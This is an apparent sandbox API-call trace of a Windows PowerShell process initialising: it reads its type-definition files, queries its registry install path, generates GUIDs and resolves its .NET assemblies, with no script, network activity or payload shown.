	[0064.359] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.359] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.371] CoTaskMemFree (pv=0x284a290) 
	[0064.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x14cfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a
	[0064.372] SetErrorMode (uMode=0x1) returned 0x1
	[0064.372] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x14d1d0 | out: lpFileInformation=0x14d1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0064.372] SetErrorMode (uMode=0x1) returned 0x1
	[0064.374] SetErrorMode (uMode=0x1) returned 0x1
	[0064.375] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14d1d0 | out: lpFileInformation=0x14d1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1
	[0064.375] SetErrorMode (uMode=0x1) returned 0x1
	[0064.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14cfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0064.380] SetErrorMode (uMode=0x1) returned 0x1
	[0064.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14d1d0 | out: lpFileInformation=0x14d1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
	[0064.381] SetErrorMode (uMode=0x1) returned 0x1
	[0064.384] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.384] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.385] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.396] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.396] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.397] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.398] GetACP () returned 0x4e4
	[0064.418] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x33c
	[0064.419] GetFileType (hFile=0x33c) returned 0x1
	[0064.419] SetErrorMode (uMode=0x1) returned 0x1
	[0064.420] GetFileType (hFile=0x33c) returned 0x1
	[0064.489] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.490] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.490] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.490] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.491] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.491] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.491] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.492] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.492] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.492] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.492] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.493] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.494] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.494] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.494] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.495] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.495] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.495] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.495] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.496] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.496] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.496] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.496] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.496] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.497] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.497] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.497] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.497] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.504] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.504] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.504] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.504] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.505] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.505] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.505] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.505] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1000, lpOverlapped=0x0) returned 1
	[0064.506] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x1b4, lpOverlapped=0x0) returned 1
	[0064.506] ReadFile (in: hFile=0x33c, lpBuffer=0x2c60b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14d108, lpOverlapped=0x0 | out: lpBuffer=0x2c60b10*, lpNumberOfBytesRead=0x14d108*=0x0, lpOverlapped=0x0) returned 1
	[0064.506] CloseHandle (hObject=0x33c) returned 1
	[0064.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0064.506] SetErrorMode (uMode=0x1) returned 0x1
	[0064.506] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14d080 | out: lpFileInformation=0x14d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
	[0064.506] SetErrorMode (uMode=0x1) returned 0x1
	[0064.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14cdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0064.507] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d168 | out: phkResult=0x14d168*=0x33c) returned 0x0
	[0064.507] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14d0ec, lpData=0x0, lpcbData=0x14d0e8*=0x0 | out: lpType=0x14d0ec*=0x1, lpData=0x0, lpcbData=0x14d0e8*=0x56) returned 0x0
	[0064.507] CoTaskMemAlloc (cb=0x5a) returned 0x2824ff0
	[0064.507] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14d0bc, lpData=0x2824ff0, lpcbData=0x14d0b8*=0x56 | out: lpType=0x14d0bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x14d0b8*=0x56) returned 0x0
	[0064.507] CoTaskMemFree (pv=0x2824ff0) 
	[0064.507] RegCloseKey (hKey=0x33c) returned 0x0
	[0064.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14cdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0064.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14cc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
	[0064.670] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.777] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.778] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.779] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.780] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.780] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.781] VirtualQuery (in: lpAddress=0x14be50, lpBuffer=0x14cd10, dwLength=0x30 | out: lpBuffer=0x14cd10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.845] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.845] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.845] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.868] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.876] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.876] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.876] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.886] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x89499d6e, Data2=0x409b, Data3=0x4005, Data4=([0]=0xa6, [1]=0x8, [2]=0x86, [3]=0x9d, [4]=0x98, [5]=0x87, [6]=0x72, [7]=0xcd))) returned 0x0
	[0064.888] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x6078c217, Data2=0xed63, Data3=0x49f2, Data4=([0]=0x9e, [1]=0x77, [2]=0xd, [3]=0x74, [4]=0xc, [5]=0x3d, [6]=0x23, [7]=0x41))) returned 0x0
	[0064.893] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe3084ba4, Data2=0xa79c, Data3=0x4a57, Data4=([0]=0x94, [1]=0x52, [2]=0x1d, [3]=0xf5, [4]=0x31, [5]=0xd2, [6]=0x29, [7]=0xa3))) returned 0x0
	[0064.893] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x59760908, Data2=0xca80, Data3=0x407a, Data4=([0]=0xa2, [1]=0x11, [2]=0xb0, [3]=0x4b, [4]=0x5d, [5]=0xd1, [6]=0xf9, [7]=0xfb))) returned 0x0
	[0064.895] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xacf82ee2, Data2=0x3c4c, Data3=0x416d, Data4=([0]=0xb1, [1]=0xf0, [2]=0x75, [3]=0xd4, [4]=0xfb, [5]=0xd2, [6]=0x7b, [7]=0x82))) returned 0x0
	[0064.895] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2bcc6fe5, Data2=0x2e0f, Data3=0x4a3c, Data4=([0]=0x9d, [1]=0xca, [2]=0x3b, [3]=0x4, [4]=0x27, [5]=0xfa, [6]=0xe3, [7]=0x6b))) returned 0x0
	[0064.895] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xba21a30f, Data2=0xb1c1, Data3=0x4cec, Data4=([0]=0x9e, [1]=0xed, [2]=0x9f, [3]=0x57, [4]=0x45, [5]=0x9f, [6]=0x42, [7]=0x96))) returned 0x0
	[0064.895] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x1657863d, Data2=0x1709, Data3=0x48fc, Data4=([0]=0xab, [1]=0xa6, [2]=0xfb, [3]=0xb3, [4]=0xe1, [5]=0x81, [6]=0xa0, [7]=0xe6))) returned 0x0
	[0064.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0064.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48
	[0064.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0065.015] VirtualQuery (in: lpAddress=0x14b9a0, lpBuffer=0x14c860, dwLength=0x30 | out: lpBuffer=0x14c860*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.015] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x6f1ac75f, Data2=0x3662, Data3=0x4363, Data4=([0]=0xb0, [1]=0x69, [2]=0x5, [3]=0xd9, [4]=0x12, [5]=0xc2, [6]=0xec, [7]=0x39))) returned 0x0
	[0065.016] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xb1f0ab7c, Data2=0x7961, Data3=0x49b4, Data4=([0]=0x8e, [1]=0xb5, [2]=0x0, [3]=0x58, [4]=0x46, [5]=0x5a, [6]=0xe2, [7]=0xed))) returned 0x0
	[0065.017] VirtualQuery (in: lpAddress=0x14bb50, lpBuffer=0x14ca10, dwLength=0x30 | out: lpBuffer=0x14ca10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.017] VirtualQuery (in: lpAddress=0x14bb50, lpBuffer=0x14ca10, dwLength=0x30 | out: lpBuffer=0x14ca10*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.018] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xefc81843, Data2=0xe3e8, Data3=0x4484, Data4=([0]=0xba, [1]=0xaf, [2]=0xc1, [3]=0xec, [4]=0xb7, [5]=0x14, [6]=0x95, [7]=0x50))) returned 0x0
	[0065.021] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xecc2ecc0, Data2=0xce5d, Data3=0x45ab, Data4=([0]=0x95, [1]=0xaa, [2]=0x7d, [3]=0x74, [4]=0x2d, [5]=0xe4, [6]=0x7a, [7]=0xf5))) returned 0x0
	[0065.021] VirtualQuery (in: lpAddress=0x14bda0, lpBuffer=0x14cc60, dwLength=0x30 | out: lpBuffer=0x14cc60*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.023] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x1fe9d556, Data2=0x9629, Data3=0x46f0, Data4=([0]=0x82, [1]=0x19, [2]=0xd0, [3]=0xad, [4]=0x6f, [5]=0xb8, [6]=0x34, [7]=0x58))) returned 0x0
